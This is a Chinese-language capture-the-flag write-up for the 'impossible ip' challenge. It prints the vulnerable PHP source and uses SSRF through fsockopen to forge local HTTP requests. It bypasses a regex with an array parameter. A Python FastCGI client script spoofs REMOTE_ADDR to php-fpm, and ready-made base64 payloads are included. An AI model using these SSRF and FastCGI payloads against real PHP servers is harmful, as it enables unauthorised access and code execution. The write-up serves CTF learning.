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newsctf-impossible ip

开发技术 开发技术 4小时前 3次浏览
<?php
error_reporting(0);
highlight_file(__FILE__);
$data = base64_decode($_GET['data']);
$host = $_GET['host'];
$port = $_GET['port'];
if(preg_match('/usr|auto|log/i', $data)){
    die('error');
}
$fp = fsockopen($host,intval($port),$errno, $errstr, 30);
if (!$fp) {
  die();
}
else{
    fwrite($fp, $data);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}

 

1、进入flag.php,需要从本地访问

newsctf-impossible ip

2、通过php sock伪造http请求得到flag.php中的内容

GET /flag.php HTTP/1.1
Host: 127.0.0.1
Connection: close
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=&host=127.0.0.1&port=80

 

<?php  
error_reporting(0);
$allow = array('127.0.0.1','localhost');
if(in_array($_SERVER['HTTP_HOST'],$allow)){
    highlight_file(__FILE__);
    $contents = $_POST['data'];
    $file = 'file/'.md5("lastsward".$_SERVER['REMOTE_ADDR']);
    @mkdir($file);
    if(!preg_match('/lastsward/i', $contents)){
        file_put_contents($file.'/hint.txt', $contents);
    }
    if(file_get_contents($file.'/hint.txt')==='lastsward'){
        phpinfo();
    }
    die();
}
if($_SERVER['REMOTE_ADDR']==='120.78.22.12'||$_SERVER['REMOTE_ADDR']==='120.78.22.121'){
    system('cat /flag');
    die();
}
die('请从本地访问');

 

3、绕过if(!preg_match(‘/lastsward/i’,$content),查看phpinfo();

通过数组绕过正则:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Connection: close

data%5B%5D=lastsward
?data=UE9TVCAvZmxhZy5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KZGF0YSU1QiU1RD1sYXN0c3dhcmQ=&host=127.0.0.1&port=80

newsctf-impossible ip

 

 得到有运行php-fpm的信息

 

4、输出flag的条件:if($_SERVER[‘REMOTE_ADDR’]===’120.78.22.12’||$_SERVER[‘REMOTE_ADDR’]===’120.78.22.121′)

需要通过ssrf fpm,伪造ip得到flag

脚本地址:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

但是这里有过滤,把代码执行的地方注释一下就行了:

import socket
import random
import argparse
import sys
from io import BytesIO
import base64

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF) 
               + bchr(requestid & 0xFF) 
               + bchr((length >> 8) & 0xFF) 
               + bchr(length & 0xFF) 
               + bchr(0) 
               + bchr(0) 
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        print(base64.b64encode(request))
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '120.78.22.12',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content)
        #'PHP_VALUE': 'auto_prepend_file = php://input',
        #'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

newsctf-impossible ip

 

 payload

?data=AQHuNwAIAAAAAQAAAAAAAAEE7jcBiQAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPFlNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZmxhZy5waHALFlNDUklQVF9OQU1FL3Zhci93d3cvaHRtbC9mbGFnLnBocAwAUVVFUllfU1RSSU5HCxZSRVFVRVNUX1VSSS92YXIvd3d3L2h0bWwvZmxhZy5waHANAURPQ1VNRU5UX1JPT1QvDw5TRVJWRVJfU09GVFdBUkVwaHAvZmNnaWNsaWVudAsMUkVNT1RFX0FERFIxMjAuNzguMjIuMTILBFJFTU9URV9QT1JUOTk4NQsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxob3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQwQQ09OVEVOVF9UWVBFYXBwbGljYXRpb24vdGV4dA4BQ09OVEVOVF9MRU5HVEgwAQTuNwAAAAABBe43AAAAAA==&host=127.0.0.1&port=9000

 


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